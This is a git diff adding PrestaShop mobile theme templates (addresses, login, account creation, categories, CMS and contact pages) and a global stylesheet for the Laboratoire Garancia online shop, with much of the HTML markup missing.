            + {if $vatnumber_ajax_call} + + {/if} + {/if} + {if $field_name eq 'State:name'} + {assign var="stateExist" value="true"} +
            + + +
            + {/if} + {/foreach} + {if $stateExist eq "false"} +
            + + +
            + {/if} +
            + + +
            {l s='Destiné au Laboratoire Garancia, uniquement en cas de problème de livraison'} + +
            {l s='En savoir plus'} +
            +
            +
            + + +
            +
            +
            +
            +

            {l s='Complément d\'adresse (facultatif)'}

            +
            + + +
            {l s='En savoir plus'} +
            +

            *{l s='Champ obligatoire'}

            +
            +
            + {if isset($id_address)}{/if} + {if isset($back)}{/if} + {if isset($mod)}{/if} + {if isset($select_address)}{/if} + +
            + + +
            +
            +
            +
            diff --git a/themes/default/mobile/addresses.tpl b/themes/default/mobile/addresses.tpl new file mode 100755 index 0000000..d315859 --- /dev/null +++ b/themes/default/mobile/addresses.tpl @@ -0,0 +1,129 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* +** Retro compatibility for PrestaShop version < 1.4.2.5 with a recent theme +*} + +{* Two variable are necessaries to display the address with the new layout system *} +{* Will be deleted for 1.5 version and more *} +{if !isset($multipleAddresses)} + {$ignoreList.0 = "id_address"} + {$ignoreList.1 = "id_country"} + {$ignoreList.2 = "id_state"} + {$ignoreList.3 = "id_customer"} + {$ignoreList.4 = "id_manufacturer"} + {$ignoreList.5 = "id_supplier"} + {$ignoreList.6 = "date_add"} + {$ignoreList.7 = "date_upd"} + {$ignoreList.8 = "active"} + {$ignoreList.9 = "deleted"} + + {* PrestaShop < 1.4.2 compatibility *} + {if isset($addresses)} + {$address_number = 0} + {foreach from=$addresses key=k item=address} + {counter start=0 skip=1 assign=address_key_number} + {foreach from=$address key=address_key item=address_content} + {if !in_array($address_key, $ignoreList)} + {$multipleAddresses.$address_number.ordered.$address_key_number = $address_key} + {$multipleAddresses.$address_number.formated.$address_key = $address_content} + {counter} + {/if} + {/foreach} + {$multipleAddresses.$address_number.object = $address} + {$address_number = $address_number + 1} + {/foreach} + {/if} +{/if} + +{* Define the style if it doesn't exist in the PrestaShop version*} +{* Will be deleted for 1.5 version and more *} +{if !isset($addresses_style)} + {$addresses_style.company = 'address_company'} + {$addresses_style.vat_number = 'address_company'} + {$addresses_style.firstname = 'address_name'} + {$addresses_style.lastname = 'address_name'} + {$addresses_style.address1 = 'address_address1'} + {$addresses_style.address2 = 'address_address2'} + {$addresses_style.city = 'address_city'} + {$addresses_style.country = 'address_country'} + {$addresses_style.phone = 'address_phone'} + {$addresses_style.phone_mobile = 'address_phone_mobile'} + {$addresses_style.alias = 'address_title'} +{/if} + + + + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='My addresses'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
            +

            [{l s='My addresses'}]

            +

            {l s='Éditez vos adresse de facturation et livraison'}

            + +{if isset($multipleAddresses) && $multipleAddresses} +
            + {assign var="adrs_style" value=$addresses_style} +
            + {foreach from=$multipleAddresses item=address name=myLoop key=compteur} +

            {$address.object.alias}{l s='Modifier'}{l s='Supprimer'}

            +
              + {foreach from=$address.ordered name=adr_loop item=pattern} + {assign var=addressKey value=" "|explode:$pattern} +
            • + {foreach from=$addressKey item=key name="word_loop"} + + {$address.formated[$key|replace:',':'']|escape:'htmlall':'UTF-8'} + + {/foreach} +
            • + {/foreach} +
            + {/foreach} +
            +
            +{else} +

            {l s='No addresses are available.'}

            +{/if} +
            + + +
            +
            diff --git a/themes/default/mobile/authentication-choice.tpl b/themes/default/mobile/authentication-choice.tpl new file mode 100755 index 0000000..e73ada0 --- /dev/null +++ b/themes/default/mobile/authentication-choice.tpl @@ -0,0 +1,118 @@ +
            + + + +
            +
            +
            +

            {l s='Vous avez un compte'}

            +
            +
            +

            {l s='Mot de passe'} {l s='oublié'} ?

            +

            + {if isset($back)}{/if} + +

            +
            +
            +
            +
            +
            +

            {l s='Vous n\'avez pas encore de compte'}

            +
            +

            {l s='Créez votre compte gratuitement et accédez simplement à un ensemble de services personnalisés.'}
            {l s='Offres exclusives du Laboratoire Garancia :'} {l s='Suivi des commandes - Modification de vos coordonnées personnelles - Mailing des dernières tendances et des offres exclusives Garancia - Rédaction d\'avis sur les produits.'}

            + +

            + {if isset($back)}{/if} + + +

            + +
            +
            +
            + +
            + +{* Missing the guest checkout behaviour *} +{* ===================================== *} diff --git a/themes/default/mobile/authentication-create-account.tpl b/themes/default/mobile/authentication-create-account.tpl new file mode 100755 index 0000000..858894a --- /dev/null +++ b/themes/default/mobile/authentication-create-account.tpl @@ -0,0 +1,255 @@ +
            + {$HOOK_CREATE_ACCOUNT_TOP} +
            {l s='Créez un compte gratuitement et accédez simplement à un ensemble de services personnalisés :'} +
            {l s='Suivi des commandes - Modification de vos coordonnées personnelles - Mailing des dernières tendances et des offres exclusives Garancia - Rédaction d\'avis sur les produits.'}
            + + {if $b2b_enable} + + {/if} + {if isset($PS_REGISTRATION_PROCESS_TYPE) && $PS_REGISTRATION_PROCESS_TYPE} + + + {/if} + {$HOOK_CREATE_ACCOUNT_FORM} +
            +
            +
            + +
            * {l s='Champs oblibgatoires'}
            + + + {if isset($back)}{/if} + + +
            +
            \ No newline at end of file diff --git a/themes/default/mobile/authentication.tpl b/themes/default/mobile/authentication.tpl new file mode 100755 index 0000000..006aa09 --- /dev/null +++ b/themes/default/mobile/authentication.tpl @@ -0,0 +1,120 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Mon panier'}{$navigationPipe}{l s='Identification'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + + + +{assign var='stateExist' value=false} + +
            +{if !isset($email_create)}

            [{l s='Log in'}]

            {else}

            [{l s='Create an account'}]

            {/if} + {if !isset($email_create)} + {include file="./authentication-choice.tpl"} + {else} + {include file="./authentication-create-account.tpl"} + {/if} +{include file="./errors.tpl"} + +
            +
            + diff --git a/themes/default/mobile/best-sales.tpl b/themes/default/mobile/best-sales.tpl new file mode 100755 index 0000000..438676a --- /dev/null +++ b/themes/default/mobile/best-sales.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$tpl_dir./errors.tpl"} + +{if !isset($errors) OR !sizeof($errors)} + {capture assign='page_title'}{l s='Top sellers'}{/capture} + {include file='./page-title.tpl'} + +
            + {if !empty($manufacturer->description) || !empty($manufacturer->short_description)} +
            + {if !empty($manufacturer->short_description)} +

            {$manufacturer->short_description}

            +

            {$manufacturer->description}

            + {l s='More'} + {else} +

            {$manufacturer->description}

            + {/if} +
            + {/if} + + {if $products} +
            + {include file="./category-product-sort.tpl" container_class="container-sort"} +
            +
            + {include file="./pagination.tpl"} + {include file="./category-product-list.tpl" products=$products} + {include file="./pagination.tpl"} + + {else} +

            {l s='No top sellers for the moment.'}

            + {/if} + {include file='./sitemap.tpl'} +
            +{/if} diff --git a/themes/default/mobile/category-cms-tree-branch.tpl b/themes/default/mobile/category-cms-tree-branch.tpl new file mode 100755 index 0000000..f7f2780 --- /dev/null +++ b/themes/default/mobile/category-cms-tree-branch.tpl @@ -0,0 +1,49 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
          • 0 || isset($node.cms) && $node.cms|@count > 0}data-icon="more"{/if}> + {$node.name|escape:'htmlall':'UTF-8'} + {if isset($node.children) && $node.children|@count > 0} +
              + {foreach from=$node.children item=child name=categoryCmsTreeBranch} + {if isset($child.children) && $child.children|@count > 0 || isset($child.cms) && $child.cms|@count > 0} + {include file="./category-cms-tree-branch.tpl" node=$child} + {/if} + {/foreach} + {if isset($node.cms) && $node.cms|@count > 0} + {foreach from=$node.cms item=cms name=cmsTreeBranch} +
            • {$cms.meta_title|escape:'htmlall':'UTF-8'}
            • + {/foreach} + {/if} +
            + {elseif isset($node.cms) && $node.cms|@count > 0} + + {/if} +
          • diff --git a/themes/default/mobile/category-product-list.tpl b/themes/default/mobile/category-product-list.tpl new file mode 100755 index 0000000..f891a22 --- /dev/null +++ b/themes/default/mobile/category-product-list.tpl @@ -0,0 +1,45 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($products)} + +{/if} +
            \ No newline at end of file diff --git a/themes/default/mobile/category-product-sort.tpl b/themes/default/mobile/category-product-sort.tpl new file mode 100755 index 0000000..276dd78 --- /dev/null +++ b/themes/default/mobile/category-product-sort.tpl @@ -0,0 +1,71 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($orderby) AND isset($orderway)} + {if !isset($sort_already_display)} + {assign var='sort_already_display' value='true' scope="global"} + + {if isset($smarty.get.id_category) && $smarty.get.id_category} + {assign var='request' value=$link->getPaginationLink('category', $category, false, true)} + {elseif isset($smarty.get.id_manufacturer) && $smarty.get.id_manufacturer} + {assign var='request' value=$link->getPaginationLink('manufacturer', $manufacturer, false, true)} + {elseif isset($smarty.get.id_supplier) && $smarty.get.id_supplier} + {assign var='request' value=$link->getPaginationLink('supplier', $supplier, false, true)} + {else} + {assign var='request' value=$link->getPaginationLink(false, false, false, true)} + {/if} + + + {/if} + +
            +
            + +
            +
            + +{/if} diff --git a/themes/default/mobile/category-tree-branch.tpl b/themes/default/mobile/category-tree-branch.tpl new file mode 100755 index 0000000..0c7fadd --- /dev/null +++ b/themes/default/mobile/category-tree-branch.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
          • 0}data-icon="more"{/if}> + {if $node.children|@count > 0} + {$node.name|escape:'htmlall':'UTF-8'} +
              +
            • + + {l s='See products'} + +
            • + {foreach from=$node.children item=child name=categoryTreeBranch} + {include file="$tpl_dir./category-tree-branch.tpl" node=$child} + {/foreach} +
            + {else} + + {$node.name|escape:'htmlall':'UTF-8'} + + {/if} +
          • diff --git a/themes/default/mobile/category.tpl b/themes/default/mobile/category.tpl new file mode 100755 index 0000000..2e526b6 --- /dev/null +++ b/themes/default/mobile/category.tpl @@ -0,0 +1,63 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{assign var=metaTitle value=$category->name} +{if $category->meta_title!=""} + {assign var=metaTitle value=$category->meta_title} +{/if} +{if $category->id==2} +{capture name=path}{$metaTitle}{/capture} + +{else} +{capture name=path}{l s='Nos produits'}{$navigationPipe}{$metaTitle}{/capture} + +{/if} +{include file="$tpl_dir./breadcrumb.tpl"} + +
            + + {include file="$tpl_dir./errors.tpl"} + + {if isset($category)} + {if $category->id AND $category->active} + {* +

            [{strip} + {$category->name|escape:'htmlall':'UTF-8'} + {if isset($categoryNameComplement)} + {$categoryNameComplement|escape:'htmlall':'UTF-8'} + {/if} + {/strip}]

            + *} + {if $products} + + {include file="./category-product-list.tpl" products=$products} + + {/if} + {elseif $category->id} +

            {l s='This category is currently unavailable.'}

            + {/if} + {/if} +
            diff --git a/themes/default/mobile/cms.tpl b/themes/default/mobile/cms.tpl new file mode 100755 index 0000000..6e7b1d8 --- /dev/null +++ b/themes/default/mobile/cms.tpl @@ -0,0 +1,83 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if ($content_only == 0)} + {include file="$tpl_dir./breadcrumb.tpl"} +{/if} +{if isset($cms) && !isset($cms_category)} + {if !$cms->active} +
            +
            +

            {l s='This CMS page is not visible to your customers.'} + + + +

            +
            +

            +

            +
            + {/if} +
            +

            [{$cms->meta_title}]

            + {$cms->content} +
            +{elseif isset($cms_category)} +
            +

            {$cms_category->name|escape:'htmlall':'UTF-8'}

            + {if isset($sub_category) & !empty($sub_category)} +

            {l s='List of sub categories in %s:' sprintf=$cms_category->name}

            + + {/if} + {if isset($cms_pages) & !empty($cms_pages)} +

            {l s='List of pages in %s:' sprintf=$cms_category->name}

            + + {/if} +
            +{else} +
            + {l s='This page does not exist.'} +
            +{/if} +
            + \ No newline at end of file diff --git a/themes/default/mobile/contact-form.tpl b/themes/default/mobile/contact-form.tpl new file mode 100755 index 0000000..4e3dc8c --- /dev/null +++ b/themes/default/mobile/contact-form.tpl @@ -0,0 +1,165 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{* *} + +{capture name=path}{l s='Contact'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
            +

            [{l s='Contact'}]

            +{if isset($confirmation)} +
            {l s='Your message has been successfully sent to our team.'} +
            {l s='Nous vous répondrons dans les plus brefs délais.'}
            +{elseif isset($alreadySent)} +
            {l s='Your message has already been sent.'}
            +{/if} + + {*
            {l s='For questions about an order or for more information about our products'}.
            *} + {include file="$tpl_dir./errors.tpl"} +
            +
            +
            + + {if isset($customerThread.id_contact)} + {foreach from=$contacts item=contact} + {if $contact.id_contact == $customerThread.id_contact} + + + {/if} + {/foreach} +
            + {else} + +
            + {/if} +
            +
            + + +
            +
            + + +
            +
            + + +
            +
            +
            + + +
            +
            + + +
            +
            + + +
            +
            + + +
            +
            + + +
            +
            + + +
            +
            + + +
            +
            + + {if isset($customerThread.email)} + + {else} + + {/if} +
            +
            + + +
            +
            + {l s='* Champ obligatoire'} +
            +
            + +
            +
            + {l s='Conformément à la loi informatique et libertés du 6.01.78, vous disposez d\'un droit d\'accès, de rectification et de suppression des informations vous concernant utilisées exclusivement par GARANCIA que vous pouvez exercer à tout moment en nous adresse un courrier ou un e-mail.'} +
            +
            + +
            + + +
        +
        +
        +
        {l s='Demande d\'échantillons'}
        +
        {l s='Devant les fortes demandes d\'échantillons, nous vous invitons à vous rendre dans vos points de vente habituels qui pourront vous remettre des échantillons adaptés à votre type de peau.'}
        +
        +
        +
        {l s='Recrutement / RH'}
        +
        {l s='Nous sommes en perpétuelles recherche de talents. Vous pouvez nous envoyer par email votre candidature spontannée pour :'} +
        +
        {l s='Un emploi'} : recrutement-rh@garancia-beauty.com +
        {l s='Un stage'} : stage@garancia-beauty.com +
        +
        +
        +
        {l s='Nous écrire'}
        +
        {l s='Laboratoire Garancia'} +
        {l s='18 Avenue du Recteur Poincaré'} +
        {l s='75016 Paris'} +
        +
        +
        \ No newline at end of file diff --git a/themes/default/mobile/contact-form2.tpl b/themes/default/mobile/contact-form2.tpl new file mode 100755 index 0000000..6c43535 --- /dev/null +++ b/themes/default/mobile/contact-form2.tpl @@ -0,0 +1,108 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='Contact'}{/capture} +{include file='./page-title.tpl'} + +
        +

        {l s='For questions about an order or for more information about our products'}.

        + {include file="./errors.tpl"} +
        + {if isset($customerThread.id_contact)} + {foreach from=$contacts item=contact} + {if $contact.id_contact == $customerThread.id_contact} + + + {/if} + {/foreach} + {else} + + +

         

        + {foreach from=$contacts item=contact} + + {/foreach} + {/if} + +
        + {if isset($customerThread.email)} + + {else} + + {/if} +
        + + {if !$PS_CATALOG_MODE} + {if (!isset($customerThread.id_order) || $customerThread.id_order > 0)} +
        + {if !isset($customerThread.id_order) && isset($isLogged) && $isLogged == 1} + + {elseif !isset($customerThread.id_order) && !isset($isLogged)} + + {elseif $customerThread.id_order > 0} + + {/if} +
        + {/if} + {if isset($isLogged) && $isLogged} +
        + + {if !isset($customerThread.id_product)} + {foreach from=$orderedProductList key=id_order item=products name=products} + + {/foreach} + {elseif $customerThread.id_product > 0} + + {/if} +
        + {/if} + {/if} + +
        + +
        + +
        + +
        +
        + + {include file='./sitemap.tpl'} +
        \ No newline at end of file diff --git a/themes/default/mobile/css/global.css b/themes/default/mobile/css/global.css new file mode 100755 index 0000000..4ec7435 --- /dev/null +++ b/themes/default/mobile/css/global.css @@ -0,0 +1,5413 @@ +.op05 { + opacity: 0.5 !important; +} + +/* ################################################################################################ + GLOBAL +################################################################################################ */ +#hook_mobile_top_site_map { + margin-top:5px; +} + +.center { + text-align:center; +} + +.right { + text-align:right; +} + +.qty-field { + width:50px!important; +} + +.hide { + display:none; +} + +.fl { + float:left; +} + +.clear { + clear:both; +} + +.width-15 { + width:15%; +} + +.width-20 { + width:20%; +} + +.width-40 { + width:40%; +} + +.width-60 { + width:60%; +} + +.width-70 { + width:70%; +} + +.width-100 { + width:100%; +} + +.padding-left-5px { + padding-left:5px; +} + +.margin-bottom-10px { + margin-bottom:10px; +} + +.ui-btn-up-a .ui-btn-text:visited,.ui-btn-hover-a .ui-btn-text:visited,.ui-btn-down-a .ui-btn-text:visited,.ui-btn-hover-a .ui-btn-text:hover,.ui-btn-up-a .ui-btn-text:hover,.ui-btn-down-a .ui-btn-text:hover,.ui-btn-hover-a .ui-btn-text,.ui-btn-down-a .ui-btn-text,.ui-btn-up-a .ui-btn-text { + color:#fff; +} + +.to_delete { + background-color:red; + color:#fff; + font-size:12pt; + text-shadow:none; + padding:5px; +} + +/* JQUERY MOBILE */ +.ui-content { + overflow-y:hidden; + background:none !important; +} + +.ui-page > .ui-content { + /*padding:15px !important;*/ +} + +section .ui-content { + padding:0!important; +} + +.ui-header .ui-title,.ui-footer .ui-title { + margin:.5em 20px .8em; + font-size:20px; + text-align:left; +} + +.ui-icon-prestashop-pdf { + background:url(../..g/icon/pdf.gif) no-repeat; +} + +.ui-mobile fieldset { + margin-bottom:15px; + border:none; + width:100%; +} + +.ui-field-contain { + padding:0; +} + +.ui-content .ui-listview { + margin:0; +} + +.ui-input-search .ui-input-clear { + right:5px; +} + +label.ui-select { + top:5px; + vertical-align:top; +} + +/*.ui-controlgroup-horizontal .ui-select {margin:-5px 0 0 0}*/ +.required.bold,.required sup { + color:#900; + font-weight:700; +} + +.warning { + margin:10px 0; + padding:10px; + border:1px solid #E6DB55; + font-size:13px; + background:#ffffe0; +} + +.error-box,.error { + margin:10px 0; + padding:10px; + border:1px solid red; + font-size:13px; + background:#ffb6c1; +} + +.error-box ol,.error ol { + margin:0; + padding:0 50px; +} + +.ui-listview p,.ui-listview h3 { + padding:0; +} + +.ui-listview p { + margin-top:-.5em; +} + +.without-margin { + margin:0; +} + +.without-padding { + padding:0; +} + +/* title *************************************************************************************** */ +h1 { + font-size:20px; +} + +h2 { + margin:0 0 .6em; + font-size:18px; +} + +h3 { + padding-bottom:14px; + font-size:16px; +} + +h4 { + font-size:14px; +} + +/* text **************************************************************************************** */ +p { + padding-bottom:10px; + font-size:18px; + margin:0; +} + +.txt-center { + text-align:center; +} + +/* link **************************************************************************************** */ +a,a:active,a:visited { + color:#333; + text-decoration:none; + outline:none; +} + +/* errors box ************************************************************************************* */ +.error-box { + display:block; + background-color:#FFB200; + background-image:-webkit-gradient(linear,left top,left bottom,color-stop(0.0,#ffd573),color-stop(1,#FEEFB3)); + background-image:-o-linear-gradient(top,#ffd573,#FEEFB3); + background-image:-moz-linear-gradient(center top,#ffd573 0%,#FEEFB3 100%); + border:1px solid #9E6014; + opacity:.96; + position:fixed; + top:100px; + font-family:arial,sans-serif; + width:80%; + left:10%; + padding:20px 10px; + -moz-border-radius:.6em; + -webkit-border-radius:.6em; + border-radius:.6em; + color:#9E6014; + z-index:1000; +} + +.error-box ol { + margin:0; + padding:0; +} + +.error-box .close-bt { + position:absolute; + top:5px; + right:10px; +} + +/* form **************************************************************************************** */ +.ui-mobile fieldset { + margin:0 0 15px; +} + +hr { + margin:30px 0 10px; +} + +hr.margin_bottom { + margin:10px 0 30px; +} + +hr.margin_less { + margin:10px 0; +} + +.clearfix:before,.clearfix:after { + content:"."; + display:block; + height:0; + overflow:hidden; +} + +.clearfix:after { + clear:both; +} + +.clearfix { + zoom:1; +} + +.ui-br { + border:none; +} + + +/* PAGINATION */ +.pagination { + position:relative; + margin:5px 0; + text-align:center; +} + +ul.pagination_mobile { + float:right; +} + +.pagination_mobile li { + float:left; +} + +.pagination_mobile .disabled,.pagination_mobile .disabled .ui-btn-inner { + background-color:#DDD; + color:#aaa; + cursor:default; +} + +.pagination_mobile .current .ui-btn { + cursor:default; +} + +.pagination_mobile .current .ui-btn-down-c { + color:#fff; +} + +.pagination_mobile .disabled .ui-btn-inner { + border-top:1px solid #ddd; +} + +.pagination_mobile .ui-btn-inner { + padding:.6em 10px; + font-size:80%; +} + +.pagination_mobile .pagination_next .ui-btn-inner { + padding:.6em 35px .6em 10px; +} + +.pagination_mobile .pagination_previous .ui-btn-inner { + padding:.6em 10px .6em 35px; +} + +.pagination ul { + margin:2px 0 0; + padding:0; + list-style-type:none; +} + +.pagination li { + display:inline-block; +} + +/*.pagination li a, + .pagination li.active { + display:inline-block; + padding:2px 10px; + color:#666 !important; + text-decoration:none; + border:1px solid #ccc; + }*/ +.pagination li.active { +} + +.pagination li a:hover { +} + +.pagination .btnnprevious { + position:absolute; + top:2px; + left:5px; + height:26px; + width:26px; + text-indent:-5000px; + background:#333; +} + +.pagination .btnnext { + position:absolute; + top:2px; + right:5px; + height:26px; + width:26px; + text-indent:-5000px; + background:#333; +} + +/* button */ +.button_next { + float:right; +} + +/* check form */ +.valid { + border:1px solid green; +} + +.invalid { + border:1px solid red; +} + +#account-creation_form p.select .ui-select .ui-icon { + background:none; +} + +/* ################################################################################################ + HEADER +################################################################################################ */ +/*#header { + position:relative; + height:122px; + font-weight:normal !important; + font-size:10pt; + color:#333; + text-shadow:none; + border:0 !important; + background:none !important; +} + #header a { + color:#333; + text-decoration:none; + } + + #logo { + position:absolute; + top:0; + left:0; + z-index:10; + } + + .shoppingbag { + margin:10px 0 2px 0; + padding:2px 5px 4px 5px; + color:#fff; + background:#383838; + } + .shoppingbag a {color:#fff !important;} + .shoppingbag span { + font-size:8pt + } + .quicklink { + margin:5px 0; + padding:0 5px; + } + .login { + margin:25px 0; + padding:0 5px; + font-size:8pt; + }*/ +/* HEADER */ +#header { + /*padding-bottom:10px;*/ + border:0; +} + +#header .ui-block-a img { + display:block; + margin:10px; +} + +/* NAVBAR TOP */ +.navbartop { + height:42px; + background:#383838; +} + +.navbarcontent { + height:32px; + background:#ccc; +} + +.navbarcontent h3 { + margin:0; +} + +.navbartop .btnopen { + text-indent:-5000px; +} + +.link_cart { + background:url(../img/img_cart.png) 0 2px no-repeat; + padding:5px 5px 5px 30px; + text-decoration:none; + float:right; +} + +.link_account { + background:url(../img/icon/my-account.png) 0 5px no-repeat; + padding:5px 5px 5px 20px; + text-decoration:none; + float:right; +} + +.input_search { + margin:0 10px 10px 0; + text-align:right; +} + +#block_cart { + margin:10px; +} + +/* ################################################################################################ + CONTENT +################################################################################################ */ + + +/* ################################################################################################ 